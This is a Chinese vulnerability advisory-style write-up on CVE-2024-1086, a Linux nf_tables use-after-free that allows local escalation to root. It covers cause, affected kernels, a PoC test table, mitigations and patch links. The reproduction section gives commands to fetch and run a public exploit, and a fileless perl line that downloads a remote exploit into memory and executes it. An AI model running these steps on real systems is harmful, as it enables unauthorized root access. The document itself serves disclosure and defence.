前言
2024年1月,各Linux发行版官方发布漏洞公告,修复了一个 netfilter:nf_tables 模块中的开释后重用漏洞(CVE-2024-1086)。鉴于该漏洞易于利用,并且允许本地攻击者提升至root权限。
声明
请勿利用文章内的相干技术从事非法测试,由于流传、利用此文所提供的信息或者工具而造成的任何直接或者间接的结果及损失,均由利用者本人负责,所产生的统统不良结果与文章作者无关。该文章仅供学习用途利用。
一、netfilter介绍
netfilter是Linux内核的一个子系统,允许实现各种网络相干利用,如数据包过滤、网络地址转换(NAT)和端口转换。而nf_tables是netfilter的一部分,用于定义和管理防火墙规则。
二、漏洞成因
Linux内核版本v5.14 - v6.6的netfilter 子系统nf_tables组件中存在开释后利用漏洞,由于在nft_verdict_init()函数中,允许正值作为hook讯断中的扬弃错误,因此当NF_DROP发出类似于NF_ACCEPT的扬弃错误时,nf_hook_slow()函数可能会导致双重开释漏洞,本地低权限威胁者可利用该漏洞将权限提升为root。
三、漏洞危害
该漏洞可以被本地攻击者利用,从普通用户提升到ROOT用户权限。
四、影响范围
该漏洞影响了利用Linux内核版本v5.14 - v6.6 版本(不包罗分支修补版本 v5.15.149、v6.1.76和v6.6.15)的大多数 Linux系统/内核,包罗CentOS、Debian、Ubuntu和 KernelCTF等。
部分内核版本PoC/EXP测试结果如下:
[table][tr]KernelKernel VersionDistroDistro VersionWorking/FailCPU PlatformCPU CoresRAM SizeFail ReasonTest StatusConfig URL[/tr][tr][td]Linux[/td][td]v5.4.270[/td][td]n/a[/td][td]n/a[/td][td]fail[/td][td]QEMU x86_64[/td][td]8[/td][td]16GiB[/td][td]- pre-dated nft code (denies rule alloc)</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.config</td></tr><tr><td>Linux</td><td>v5.10.209</td><td>n/a</td><td>n/a</td><td>fail</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>[TCHNQ] BUG mm/slub.c:4118</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.config</td></tr><tr><td>Linux</td><td>v5.14.21</td><td>n/a</td><td>n/a</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.config</td></tr><tr><td>Linux</td><td>v5.15.148</td><td>n/a</td><td>n/a</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.config</td></tr><tr><td>Linux</td><td>v5.16.20</td><td>n/a</td><td>n/a</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.config</td></tr><tr><td>Linux</td><td>v5.17.15</td><td>n/a</td><td>n/a</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.config</td></tr><tr><td>Linux</td><td>v5.18.19</td><td>n/a</td><td>n/a</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.config</td></tr><tr><td>Linux</td><td>v5.19.17</td><td>n/a</td><td>n/a</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.config</td></tr><tr><td>Linux</td><td>v6.0.19</td><td>n/a</td><td>n/a</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.config</td></tr><tr><td>Linux</td><td>v6.1.55</td><td>KernelCTF</td><td>Mitigation v3</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.config</td></tr><tr><td>Linux</td><td>v6.1.69</td><td>Debian</td><td>Bookworm 6.1.0-17</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config</td></tr><tr><td>Linux</td><td>v6.1.69</td><td>Debian</td><td>Bookworm 6.1.0-17</td><td>working</td><td>AMD Ryzen 5 7640U</td><td>6</td><td>32GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config</td></tr><tr><td>Linux</td><td>v6.1.72</td><td>KernelCTF</td><td>LTS</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.config</td></tr><tr><td>Linux</td><td>v6.2.?</td><td>Ubuntu</td><td>Jammy v6.2.0-37</td><td>working</td><td>AMD Ryzen 5 7640U</td><td>6</td><td>32GiB</td><td>n/a</td><td>final</td><td></td></tr><tr><td>Linux</td><td>v6.2.16</td><td>n/a</td><td>n/a</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.config</td></tr><tr><td>Linux</td><td>v6.3.13</td><td>n/a</td><td>n/a</td><td>working</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>n/a</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.config</td></tr><tr><td>Linux</td><td>v6.4.16</td><td>n/a</td><td>n/a</td><td>fail</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.config</td></tr><tr><td>Linux</td><td>v6.5.3</td><td>Ubuntu</td><td>Jammy v6.5.0-15</td><td>fail</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.config</td></tr><tr><td>Linux</td><td>v6.5.13</td><td>n/a</td><td>n/a</td><td>fail</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.config</td></tr><tr><td>Linux</td><td>v6.6.14</td><td>n/a</td><td>n/a</td><td>fail</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.config</td></tr><tr><td>Linux</td><td>v6.7.1</td><td>n/a</td><td>n/a</td><td>fail</td><td>QEMU x86_64</td><td>8</td><td>16GiB</td><td>[CODE] nft verdict value incorrect is altered by kernel</td><td>final</td><td>https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config</td></tr></tbody></table>
- <p><strong>注意事项:</strong></p>
- <p>(1)该漏洞不适用于带有 kconfig 的 v6.4> 内核CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y(包括 Ubuntu v6.5)</p>
- <p>(2)该漏洞利用需要用户命名空间 (kconfig CONFIG_USER_NS=y),这些用户命名空间没有特权 (sh command sysctl kernel.unprivileged_userns_clone= 1),并且 nf_tables 已启用 (kconfig CONFIG_NF_TABLES=y)。默认情况下,这些在 Debian、Ubuntu 和 KernelCTF 上均已启用。其他发行版尚未经过测试,但可能也可以工作。此外,该漏洞仅在 x64/amd64 上进行了测试。</p>
- <p>(3)在具有大量网络活动的系统上, 该漏洞可能<em>非常不稳定</em></p>
- <ul><li>带有 WiFi 适配器的系统,当被高使用率 WiFi 网络包围时,会非常不稳定。</li><li>在测试设备上,请通过 BIOS 关闭 WiFi 适配器。</li></ul>
- <p>(4)运行漏洞后的内核恐慌(系统崩溃)是一种副作用,没有故意修复以防止恶意使用漏洞(即,漏洞利用尝试现在应该更引人注目,并且在实际操作中不切实际)。尽管如此,它仍然允许在实验室环境中进行有效的概念验证,因为根 shell 可以正常工作,并且可以通过磁盘进行持久化。<br /> <img src="https://img-blog.csdnimg.cn/direct/6ee3d13581c4458ba5abcbc2cdff4dd3.png" alt="在这里插入图片描述" /><br /> <strong>配置</strong></p>
- <p>默认值应该可以在 Debian、Ubuntu 和 KernelCTF 上使用本地 shell 开箱即用。在未经测试的设置/发行版上,请确保 kconfig 值与目标内核匹配。这些可以在 中指定src/config.h。如果您在物理内存超过 32GiB 的计算机上运行该漏洞,请确保增加CONFIG_PHYS_MEM.如果您通过 SSH(进入测试机器)或反向 shell 运行漏洞利用程序,您可能需要切换CONFIG_REDIRECT_LOG以1避免不必要的网络活动。</p>
- <h2>五、漏洞复现</h2>
- <p><strong>公开EXP/POC</strong></p>
- [code]#拉取项目并编译
- git clone https://github.com/Notselwyn/CVE-2024-1086
- cd CVE-2024-1086
- make
- #然后运行
- ./exploit
复制代码
该项目还支持无落地文件的方法去利用,不外必要目标存在perl的条件
- perl -e '
- require qw/syscall.ph/;
- my $fd = syscall(SYS_memfd_create(), $fn, 0);
- system "curl https://example.com/exploit -s >&$fd";
- exec {"/proc/$$/fd/$fd"} "memfd";
- '
复制代码 六、修复方案
临时办理方案
1、通过防止加载受影响的 nf_tables 内核模块可以缓解此漏洞,在禁用之前,必要细致评估确认禁用该模块带来的影响,例如:iptables 可能必要 nf_tables 模块才能工作。
RedHat/CentOS:
- # echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
- # dracut -f
- # reboot 重启后即可禁用
复制代码 Debian/Ubuntu:
- # sudo echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
- # sudo update-initramfs -u
- # reboot 重启后即可禁用
复制代码 2、如果无法禁用 nf_tables 内核模块,在系统上没有运行任何容器的情况下,可以通过禁用用户命名空间来缓解漏洞。在禁用之前,必要细致评估并确认禁用所带来的影响,例如:许多容器实现必要利用 user_namespaces 来增强安全性和隔离性。
RedHat/CentOS:
- # echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
- # sysctl -p /etc/sysctl.d/userns.conf
复制代码 Debian/Ubuntu:
如果不必要,可禁用非特权用户创建命名空间的能力。临时禁用实验以下命令:
- # sudo sysctl -w kernel.unprivileged_userns_clone=0
复制代码 重启后仍然禁用:
- # echo kernel.unprivileged_userns_clone=0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf
复制代码 升级修复方案
目前该漏洞已经修复,受影响用户可升级到Linux内核v5.15.149、v6.1.76、v6.6.15或更高版本。
相干发行版本已发布漏洞公告,可参考漏洞公告升级对应的Linux内核。
Ubuntu公告:https://ubuntu.com/security/CVE-2024-1086
CentOS漏洞公告:https://lists.centos.org/pipermail/centos-announce/2024-March/099235.html
RedHat漏洞公告:https://access.redhat.com/security/cve/cve-2024-1086
Debian漏洞公告:https://security-tracker.debian.org/tracker/CVE-2024-1086
统信漏洞公告:https://src.uniontech.com/#/security_advisory_detail?utsa_id=UTSA-2024-000633
麒麟漏洞公告:https://kylinos.cn/support/loophole/patch/5561.html
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |